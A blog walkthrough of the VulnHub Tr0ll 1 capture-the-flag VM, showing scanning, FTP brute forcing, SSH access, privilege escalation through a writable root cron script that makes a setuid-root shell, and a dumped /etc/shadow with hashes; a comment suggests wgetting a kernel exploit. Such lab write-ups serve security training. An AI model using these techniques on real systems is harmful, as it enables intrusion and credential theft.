Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Tr0ll: 1 Walkthrough – TROLL, IN THE OS!

Well, in my downtime between certifications I decided it was time to start doing something, so I figured I’d do some boot2roots and other similar challenges/games.

The first one I decided to do a walkthrough for was Tr0ll v1 hosted on VulnHub as it was allegedly not too difficult, and I could use some trolling in my life.

So, I downloaded the VM, spun up Kali, and got to work.

First things first, I ran netdiscover to find out where the troll was hiding.

 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 240
 _____________________________________________________________________
   IP            At MAC Address      Count  Len   MAC Vendor
 ---------------------------------------------------------------------
 172.16.119.1    00:50:56:c0:00:01    02    120   VMWare, Inc.
 172.16.119.254  00:50:56:e5:d6:a6    01    060   VMWare, Inc.
 172.16.119.130  00:0c:29:39:e9:62    01    060   VMware, Inc.

root@kali:~#

Once I had the IP, I ran a quick Nmap scan to find some attack surfaces.

root@kali:~# nmap -sT -vv 172.16.119.130

Starting Nmap 6.47 ( http://nmap.org ) at 2015-04-22 06:56 EDT
Initiating ARP Ping Scan at 06:56
Scanning 172.16.119.130 [1 port]
Completed ARP Ping Scan at 06:56, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:56
Completed Parallel DNS resolution of 1 host. at 06:56, 13.00s elapsed
Initiating Connect Scan at 19:37
Scanning 172.16.119.130 [1000 ports]
Discovered open port 22/tcp on 172.16.119.130
Discovered open port 21/tcp on 172.16.119.130
Discovered open port 80/tcp on 172.16.119.130
Completed Connect Scan at 06:56, 0.05s elapsed (1000 total ports)
Nmap scan report for 172.16.119.130
Host is up (0.00037s latency).
Scanned at 2015-04-22 06:56:33 EDT for 13s
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:39:E9:62 (VMware)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.11 seconds
           Raw packets sent: 1 (28B) | Rcvd: 1 (28B)

I figured HTTP might be my best bet, so I fired up the home page.

Oh boy, I could already tell that this was going to be fun…

Well, with the source revealing nothing, it was time to fire up DirBuster and see what I could find.

There was some hope at least, so I checked out the few directories that I found. There was a whole lot of nothing until I got to the /secret directory though, where I found an all too familiar face at this point…

At this point I needed a break from the HTTP trolling, so I decided to check out the FTP side of things. There I at least found a directory with a bit less trolling and a bit more information.

Inside the pcap file was a lot of garbage, but it also included an FTP transaction for a super_secret file that contained…something useful?

After some banging of fists and cursing I finally tried the directory name in the browser, and, lo and behold, another possibly useful file.

Excellent! After performing some basic enumeration on the file it appeared to be an executable with a reference to a memory address in it.

root@kali:~/Downloads# file roflmao
roflmao: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x0e42145e99e559aa4908f5c259d983044fcfd2f3, not stripped
root@kali:~/Downloads# strings roflmao
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
printf
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Find address 0x0856BF to proceed
;*2$"
root@kali:~/Downloads# 

Of course it didn’t execute, why would it have with the way everything else had gone up to this point?

root@kali:~/Downloads# ./roflmao 
bash: ./roflmao: No such file or directory
root@kali:~/Downloads# ls -al
total 2300
drwx------  2 root root    4096 Apr 24 04:03 .
drwxrwxr-x 22 root root    4096 Apr 22 10:54 ..
-rwxr-xr-x  1 root root    7296 Apr 22 07:16 roflmao

After more banging and cursing, I noticed that the address was only 6 bytes instead of 8, so I decided to just throw it into the browser as another effort…

So, of course what appeared to be a memory address was actually an HTTP directory, this VM wouldn’t have it any other way. From there I decided to enumerate the directories that I managed to find.

Inside of good_luck was a text file that appeared to have some usernames, so that would be useful later.

After that I checked this_folder_contains_the_password, hoping that would have the corresponding password to one or all of those usernames.

Awesome! Pass.txt had to contain a password or multiple passwords, so I opened that up and found something.

With that I tried to brute force the FTP to see if I could get into any of the accounts, but no luck there.

root@kali:~/Downloads# ncrack -vv -d10 -p 21 -U users -P pass 172.16.119.130
Fetchfile found users
Fetchfile found pass

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2015-04-22 07:31 EDT

ftp://172.16.119.130:21 (EID 1) Initiating new Connection
ftp://172.16.119.130:21 pushed to list FULL
ftp://172.16.119.130:21 (EID 1) Login failed: 'maleus' 'Good_job_:)'
ftp://172.16.119.130:21 (EID 1) Login failed: 'ps-aux' 'Good_job_:)'
ftp://172.16.119.130:21 (EID 1) Login failed: 'felux' 'Good_job_:)'
ftp://172.16.119.130:21 (EID 1) Login failed: 'Eagle11' 'Good_job_:)'
ftp://172.16.119.130:21 (EID 1) Login failed: 'genphlux' 'Good_job_:)'
ftp://172.16.119.130:21 (EID 1) Login failed: 'usmc8892' 'Good_job_:)'
ftp://172.16.119.130:21 (EID 1) Login failed: 'blawrg' 'Good_job_:)'
ftp://172.16.119.130:21 (EID 1) Login failed: 'wytshadow' 'Good_job_:)'
ftp://172.16.119.130:21 (EID 1) Login failed: 'vis1t0r' 'Good_job_:)'
ftp://172.16.119.130:21 (EID 1) Login failed: 'overflo' 'Good_job_:)'
ftp://172.16.119.130:21 Password list finished!
ftp://172.16.119.130:21 (EID 1) Connection closed by peer
ftp://172.16.119.130:21 popped from list FULL
ftp://172.16.119.130:21 (EID 1) Attempts: total 10 completed 10 supported 10 --- rate 9.93 
ftp://172.16.119.130:21 pushed to list FINISHED
ftp://172.16.119.130:21 finished.
nsock_loop returned 3


Ncrack done: 1 service scanned in 3.00 seconds.
Probes sent: 1 | timed-out: 0 | prematurely-closed: 0

Ncrack finished.

Since none of the FTP combinations didn’t work, I figured it had to be SSH credentials which was just fine with me. Of course Good_job_:) didn’t work on any of the accounts AND there was something dropping/rejecting connections after a number of failed attempts, so that was fun.

ssh: connect to host 172.16.119.130 port 22: Connection refused
root@kali:~/Downloads# ssh [email protected]
ssh: connect to host 172.16.119.130 port 22: Connection refused
root@kali:~/Downloads# ssh [email protected]
ssh: connect to host 172.16.119.130 port 22: Connection refused
root@kali:~/Downloads# ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:

root@kali:~/Downloads# ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:

root@kali:~/Downloads# ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:

root@kali:~/Downloads#

After a bunch of time, attempts, and anger I realized that what I thought was a password didn’t work with any of the (what I thought were) usernames, so I took a step back. I looked at the last two folder structures and decided to see if “Pass.txt” was the password as opposed to “Good_job_:)” since the folder did say, “this_folder_contains_the_password”. Of course, sticking with the trolling theme, that password worked with one of the accounts (overflow).

root@kali:~/Downloads# ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)

 * Documentation:  https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Aug 13 01:14:09 2014 from 10.0.0.12
Could not chdir to home directory /home/overflow: No such file or directory
$

In keeping with the theme of this challenge, once I got a shell, it would get disconnected every few minutes regardless of activity…

Broadcast Message from root@trol
        (somewhere) at 4:40 ...

TIMES UP LOL!

Connection to 172.16.119.130 closed by remote host.
Connection to 172.16.119.130 closed.

I figured something had to be running to kick off the sections, so I decided to check the cronlog and then find the (presumed) file in question.

$ cat cronlog
*/2 * * * * cleaner.py
$ find / -name cleaner.py 2>/dev/null
/lib/log/cleaner.py

cleaner.py was just a basic python script to clear out the temp directory, so it wasn’t what was actually killing my sessions. It was world writable and being run by cron though, so would definitely come in handy later.

#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

After a bit more enumeration I also found a file called lmao.py inside of /opt that seemed interesting, but I was unable to read it.

$ cd /opt
$ ls
lmao.py
$ cat lmao.py
cat: lmao.py: Permission denied

With that in mind, I figured I’d try to use the cleaner.py to find out what was in lmao.py to see if it would be any use to me.

#!/usr/bin/env python
import os
import sys
try:
     os.system('cat /opt/lmao.py > /tmp/outfile')
except:
     sys.exit()

Unfortunately lmao.py was just the disconnecting script that was also probably being run by cron, but not another attack vector.

$ cd /tmp
$ ls -al
total 12
drwxrwxrwt  2 root root 4096 Apr 22 05:00 .
drwxr-xr-x 21 root root 4096 Aug  9  2014 ..
-rw-r--r--  1 root root  117 Apr 22 05:00 outfile
$ cat outfile
#!/usr/bin/env python
import os

os.system('echo "TIMES UP LOL!"|wall')
os.system("pkill -u 'overflow'")
sys.exit()

$ 

With all of that in mind, it was time to create a setuid/gid binary and try to have it owned by root.

int main()
{
     setgid(0);
     setuid(0);
     system("/bin/bash");
}
$ gcc -o setuid setuid.c
$ ls
outfile  setuid  setuid.c

After I setup my file I added the proper commands into the cleaner.py script to have it owned by root and actually setuid.

#!/usr/bin/env python
import os
import sys
try:
     os.system('chown root:root /tmp/setuid; chmod 4755 /tmp/setuid')
except:
     sys.exit()

Success! A few minutes later the owner and the permissions on the file changed, and I was in business.

$ ls -al
total 24
drwxrwxrwt  2 root root         4096 Apr 22 05:02 .
drwxr-xr-x 21 root root         4096 Aug  9  2014 ..
-rw-r--r--  1 root root          117 Apr 22 05:02 outfile
-rwxrwxr-x  1 overflow overflow 7371 Apr 22 05:02 setuid
-rw-rw-r--  1 overflow overflow   61 Apr 22 05:02 setuid.c
$ ls -al
total 24
drwxrwxrwt  2 root root         4096 Apr 22 05:02 .
drwxr-xr-x 21 root root         4096 Aug  9  2014 ..
-rw-r--r--  1 root root          117 Apr 22 05:02 outfile
-rwsrwxr-x  1 root root         7371 Apr 22 05:02 setuid
-rw-rw-r--  1 overflow overflow   61 Apr 22 05:02 setuid.c

By then it was time to execute the file, cross my fingers, and hope for the best…

BOOM! Root was had, and I obtained the information in the flag file!

$ ./setuid
root@troll:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1002(overflow)
root@troll:/tmp# cd /root
root@troll:/root# ls -al
total 28
drwx------  3 root root 4096 Aug 13  2014 .
drwxr-xr-x 21 root root 4096 Aug  9  2014 ..
-rw-------  1 root root    0 Aug 13  2014 .bash_history
-rw-r--r--  1 root root   58 Aug 10  2014 proof.txt
-rw-r--r--  1 root root   74 Aug 10  2014 .selected_editor
drwx------  2 root root 4096 Aug 10  2014 .ssh
-rw-------  1 root root 5538 Aug 13  2014 .viminfo
root@troll:/root# cat proof.txt
Good job, you did it! 


702a8c18d29c6f3ca0d99ef5712bfbdc

Alternatively, I realized I also could have just used cleaner to copy /bin/sh to the /tmp directory and make it setuid 0 as well, but this was what I had in my mind at the time and it worked.

As a bonus, I also decided to kill those troublesome scripts, since I now had full control.

And, of course, I grabbed the shadow file (though I didn’t get a chance to try to crack any of the passwords…anyone happen to grab them too?

root@troll:/root# cat /etc/shadow
root:$6$mdQyunCS$qRhQug5j4xuM2vwsSlFJ0TrAVmfCV5h0VgKjbBp5BN2hL6ySxGL8Tt.qa2GlVotm7DFK7OUG9naqK6Kdf1aEZ.:16292:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
games:*:16273:0:99999:7:::
man:*:16273:0:99999:7:::
lp:*:16273:0:99999:7:::
mail:*:16273:0:99999:7:::
news:*:16273:0:99999:7:::
uucp:*:16273:0:99999:7:::
proxy:*:16273:0:99999:7:::
www-data:*:16273:0:99999:7:::
backup:*:16273:0:99999:7:::
list:*:16273:0:99999:7:::
irc:*:16273:0:99999:7:::
gnats:*:16273:0:99999:7:::
nobody:*:16273:0:99999:7:::
libuuid:!:16273:0:99999:7:::
syslog:*:16273:0:99999:7:::
messagebus:*:16291:0:99999:7:::
troll:$6$9WnrXzBm$ijsblc.QCK1kTlHCxiH5Dt3eUhZgEVaIpkIifyIx6EmPpD03xmIyPD6l/dVlUAE0Q4jGqaiusEkvb3BEDNcs6.:16292:0:99999:7:::
sshd:*:16291:0:99999:7:::
ftp:*:16292:0:99999:7:::
lololol:!:16292:0:99999:7:::
overflow:$6$RSQQWzPh$JB3Jm3liSEjq.ytLU2Hr.N6bTUEgkVtW5KSkCzVzvLf7zBT4eHuc0EUeEUPw3v5epKsZ9mLFfurV6gSUtpcZa.:16292:0:99999:7:::
ps-aux:$6$N8fO8B2w$ABHj.O2jTfIizBfrb0SpgN6VJLDujJ6o9wR4D0b4ZqqlfKQzW1M0xG0uTR4AZW77BFH0rsA2ZxnoGSMdwy3k00:16292:0:99999:7:::
maleus:$6$Y.Ev9AQx$IS.ikFcKj5.natBbOMMP3GiV9LJDjCQaHuvKoEeA1hPjhss8qLzjVPpuSnKysIF261sSnjOfoFjhpo.rO8qDg.:16292:0:99999:7:::
felux:$6$t0WWHdf0$9QYd6dc9XuZo.RwMRCdrzuTPTqaCJ47KAS7p1EitR2LVGJsOqjarTxD67WUhLQvmF3KOFIfgvN3rlw7cfU132.:16292:0:99999:7:::
Eagle11:$6$Pz9WUVEk$PPQQs334rlXCZRRY1w/uullgDaKeIMGNlzUXERsCl7zIrdulDtrcYD74t/mtw0yhqsJJQFXrZ08dpk0gEx0gX1:16292:0:99999:7:::
genphlux:$6$K2gip8vY$jcbwnoeCKqtu.9IkVbBNDJ3TAV0NcVSWgv2U3uYx1e942dcaD1NhxEpBklKAX1NnnrDCw6SU1Fw7vJ6tmOiCM/:16292:0:99999:7:::
usmc8892:$6$MlFBCUvT$YS7ZpyXavI6tGgYJW3fPFRbUlV2yhoHGir26minsRRBTTDf60NIwxi7PP3S8/vePYFBVVuSC0kfyBYeMnHnBO1:16292:0:99999:7:::
blawrg:$6$Pg7SOYWy$Ap9wmycvq0n2iR8CJNKcY/SBUrOqC4Dc8D6whHDnZNp8xqLCB/GF2Et4lHnhHehWkgObxSX5MZWofAc4QQSbj1:16292:0:99999:7:::
wytshadow:$6$Xw3TqkwY$O2Xx5JXO9DXSyqumRCBWa2fk0Z0glVUNty9nKkms4SlAKMtWwmHvNRHiIClPa4SGvCii0fCi5Xxg6gvoZrXhG0:16292:0:99999:7:::
vis1t0r:$6$nVShrZJb$ZAZ9nf4vzddUm1ISPO8gKgYweQopjc/Ta7jbEacYbDVOG1g8Y3LHwiJhU2NsDJljkn2Oc4xPJPeMpox5jSBHd0:16292:0:99999:7:::

All in all, it was definitely an enjoyable boot2root. Surely on the beginner end of the spectrum, but definitely some “fun” twists and turns that could slow even the most experienced of testers. This is one I’d recommend for someone wanting to try out some of these, and I look forward to giving Tr0ll 2 a try soon.

2 Comments

  1. wow nice catch.
    Instead of writing a code in ‘c’ can we try to use a reverse shell here?

    I found an alternative route to root the box.

    $Once you get the shell through SSH

    root@kali#searchsploit ubuntu 14.04
    # wget the exploit to the victim machine.
    # compile the code
    # id
    # cat root/proof.txt

    • Yea, we could have used a reverse shell or some other method of abusing the application being run by root.

      Awesome! It’s always nice to find alternate paths to exploitation. What vuln/exploit did you end up using in the end?

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.